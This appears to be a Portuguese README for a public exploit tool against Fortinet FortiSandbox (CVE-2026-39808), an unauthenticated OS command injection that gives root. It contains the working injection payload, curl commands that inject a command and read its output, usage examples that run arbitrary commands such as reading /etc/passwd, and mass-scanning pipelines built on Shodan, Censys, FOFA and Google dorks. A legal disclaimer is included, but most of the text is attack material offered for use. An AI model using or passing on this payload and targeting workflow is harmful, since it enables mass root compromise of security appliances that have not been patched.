
Scanner de RCE não autenticado para FortiSandbox CVE-2026-39808 com verificação baseada em canário, execução de comandos e integração com pipeline para varredura em massa.
Injeção de Comandos do Sistema Operacional sem Autenticação como root no Fortinet FortiSandbox
Vulnerabilidade • Instalação • Uso • Como Funciona • Pipeline • Dorks Shodan • Aviso Legal
CVE-2026-39808 é uma vulnerabilidade crítica de injeção de comandos do sistema operacional sem autenticação no Fortinet FortiSandbox. O endpoint da API /fortisandbox/job-detail/tracer-behavior não sanitiza o parâmetro jid, permitindo que um atacante injete comandos arbitrários do sistema operacional que são executados como root — sem qualquer autenticação.
O parâmetro jid no endpoint tracer-behavior é passado diretamente para um comando do sistema sem sanitização. Usando caracteres de pipe (|), um atacante pode sair do contexto de comando pretendido e executar comandos arbitrários:
GET /fortisandbox/job-detail/tracer-behavior?jid=|(id > /web/ng/out.txt)| HTTP/1.1
A saída é gravada em /web/ng/out.txt, que é acessível em /ng/out.txt no servidor web — fornecendo um mecanismo conveniente de leitura para injeção de comando cega.
Zero dependências. Apenas biblioteca padrão Python 3.7+.
git clone https://github.com/ynsmroztas/FortiSandbox-RCE-Exploit-CVE-2026-39808
cd FortiSandbox-RCE-Exploit-CVE-2026-39808
chmod +x fortisandbox_rce.py
# Verificar se um alvo é vulnerável (usa detecção baseada em canário)
python3 fortisandbox_rce.py -u https://fortisandbox.target.com
# Executar um comando específico no alvo
python3 fortisandbox_rce.py -u https://target.com --cmd "id"
python3 fortisandbox_rce.py -u https://target.com --cmd "cat /etc/passwd"
python3 fortisandbox_rce.py -u https://target.com --cmd "uname -a"
# Apenas verificar se é vulnerável, não executar --cmd
python3 fortisandbox_rce.py -u https://target.com --verify-only
python3 fortisandbox_rce.py -u https://target.com --cmd "id" --proxy http://127.0.0.1:8080
python3 fortisandbox_rce.py -u https://target.com -o report.json
# A partir de uma lista de URLs
cat targets.txt | python3 fortisandbox_rce.py --stdin --verify-only -o report.json
# subfinder → httpx → scanner
subfinder -d target.com -silent | httpx -silent | python3 fortisandbox_rce.py --stdin
# Shodan → scanner
shodan search 'title:"FortiSandbox"' --fields ip_str,port --separator : | \
sed 's/^/https:\/\//' | httpx -silent | \
python3 fortisandbox_rce.py --stdin --verify-only -o results.json
usage: fortisandbox_rce.py [-h] [-u URL] [--stdin] [--cmd CMD] [--verify-only]
[--proxy PROXY] [--timeout TIMEOUT]
[--rate-limit RATE_LIMIT] [-o OUTPUT] [--no-banner]
Options:
-u, --url URL URL do alvo
--stdin Ler URLs do stdin (modo pipeline)
--cmd CMD Comando do sistema operacional a executar (padrão: id)
--verify-only Apenas verificar a vulnerabilidade, não executar --cmd
--proxy PROXY Proxy HTTP (ex.: http://127.0.0.1:8080)
--timeout TIMEOUT Tempo limite HTTP em segundos (padrão: 15)
--rate-limit RATE_LIMIT Atraso entre alvos em ms (padrão: 0)
-o, --output FILE Arquivo de relatório JSON de saída
--no-banner Suprimir banner
O scanner usa um processo de verificação em 5 etapas com prevenção rigorosa de falsos positivos:
Etapa 1 → Detectar FortiSandbox (impressão digital de título/cabeçalho)
Etapa 2 → Verificar se o endpoint vulnerável existe
Etapa 3 → Injetar string canário única via injeção de comando
Etapa 4 → Ler /ng/out.txt e verificar o canário (validação estrita de texto simples)
Etapa 5 → Executar comando do usuário + limpeza
O scanner implementa múltiplas camadas de validação para eliminar falsos positivos:
text/htmlid — Correspondência estrita de padrão uid=\d+(\w+) com verificação de tamanho (<1000 bytes)/ng para evitar problemas de caminho duplo ╔══════════════════════════════════════════════════════════╗
║ FortiSandbox RCE Scanner v1.0 — CVE-2026-39808 ║
║ Injeção de Comando sem Autenticação (root) ║
╚══════════════════════════════════════════════════════════╝
mitsec | @ynsmroztas
┌──────────────────────────────────────────────────────────┐
│ Alvo: https://fortisandbox.example.com │
└──────────────────────────────────────────────────────────┘
✓ FortiSandbox detectado!
▸ Verificando endpoint: /fortisandbox/job-detail/tracer-behavior
▸ Status do endpoint: 200 | Content-Type: text/html
▸ Injetando canário: mitsec_a8k3m2x1
▸ Lendo saída: https://fortisandbox.example.com/ng/out.txt
CRITICAL 🔥 VULNERÁVEL — CVE-2026-39808 CONFIRMADO!
CRITICAL Alvo: https://fortisandbox.example.com
✓ Canário 'mitsec_a8k3m2x1' verificado na saída (texto simples limpo)
──────────────────────────────────────────────────────────
Saída do Comando: id
──────────────────────────────────────────────────────────
│ uid=0(root) gid=0(root) groups=0(root)
──────────────────────────────────────────────────────────
✓ Arquivo de saída limpo
┌──────────────────────────────────────────────────────────┐
│ Alvo: https://patched.example.com │
└──────────────────────────────────────────────────────────┘
✓ FortiSandbox detectado!
▸ Verificando endpoint: /fortisandbox/job-detail/tracer-behavior
✗ Endpoint retornou 404 — não vulnerável ou corrigido
▸ Lendo saída: https://target.com/ng/out.txt
⚠ A URL de saída retorna página HTML — este é o Angular SPA, NÃO a saída do comando
▸ Content-Type: text/html
▸ Este é um falso positivo — /ng/out.txt serve o index.html do SPA
▸ O alvo não parece vulnerável
{
"scanner": "fortisandbox_rce",
"version": "1.0",
"cve": "CVE-2026-39808",
"scan_date": "2026-04-22T10:30:00+00:00",
"total_targets": 5,
"vulnerable": 1,
"results": [
{
"target": "https://fortisandbox.example.com",
"vulnerable": true,
"details": {
"is_fortisandbox": true,
"server": "Apache",
"canary": "mitsec_a8k3m2x1",
"verification": "canary_match",
"command": "id",
"output": "uid=0(root) gid=0(root) groups=0(root)"
},
"timestamp": "2026-04-22T10:30:00+00:00"
}
]
}
O scanner envia URLs vulneráveis para o stdout (toda a outra saída vai para o stderr), tornando-o totalmente compatível com pipelines:
# Encontrar alvos vulneráveis e salvar
subfinder -d corp.com -silent | httpx -silent | \
python3 fortisandbox_rce.py --stdin --verify-only 2>/dev/null | \
tee vulnerable_fortisandbox.txt
# Encadear com nuclei para testes adicionais
cat vulnerable_fortisandbox.txt | nuclei -t cves/
# Verificação em massa silenciosa com limite de taxa
cat shodan_results.txt | \
python3 fortisandbox_rce.py --stdin --verify-only --rate-limit 1000 --no-banner -o report.json
title:"FortiSandbox"
title:"FortiSandbox - Please login"
http.html:"FortiSandbox" port:443
"FortiSandbox" ssl:"Fortinet"
http.favicon.hash:-1222072778
Censys:
services.http.response.html_title:"FortiSandbox"
FOFA:
title="FortiSandbox - Please login"
title="FortiSandbox" && country="TR"
Google Dork:
intitle:"FortiSandbox - Please login"
Se preferir verificar manualmente usando curl:
# Etapa 1: Injetar comando
curl -s -k --get "https://TARGET/fortisandbox/job-detail/tracer-behavior" \
--data-urlencode "jid=|(id > /web/ng/out.txt)|"
# Etapa 2: Ler a saída
curl -s -k "https://TARGET/ng/out.txt"
# Esperado: uid=0(root) gid=0(root) groups=0(root)
/fortisandbox/job-detail/jid contendo caracteres de pipe| Data | Evento |
|---|---|
| Novembro 2025 | Vulnerabilidade descoberta |
| Abril 2026 | CVE-2026-39808 publicada |
| Abril 2026 | Corrigida no FortiSandbox 4.4.9 |
Esta ferramenta é fornecida apenas para testes de segurança autorizados e fins educacionais. O acesso não autorizado a sistemas de computador é ilegal. Sempre obtenha autorização escrita adequada antes de testar. O autor não assume nenhuma responsabilidade pelo uso indevido desta ferramenta.
mitsec — @ynsmroztas
Se esta ferramenta ajudou você, considere dar uma ⭐
| Detalhe | Valor |
|---|
| ID CVE | CVE-2026-39808 |
| Pontuação CVSS | 9.8 (Crítico) |
| Vetor de Ataque | Rede |
| Autenticação | Nenhuma |
| Privilégios | Root |
| Versões Afetadas | FortiSandbox < 4.4.9 |
| Corrigido Em | 4.4.9 e superiores |
| Aviso | FG-IR-25-325 |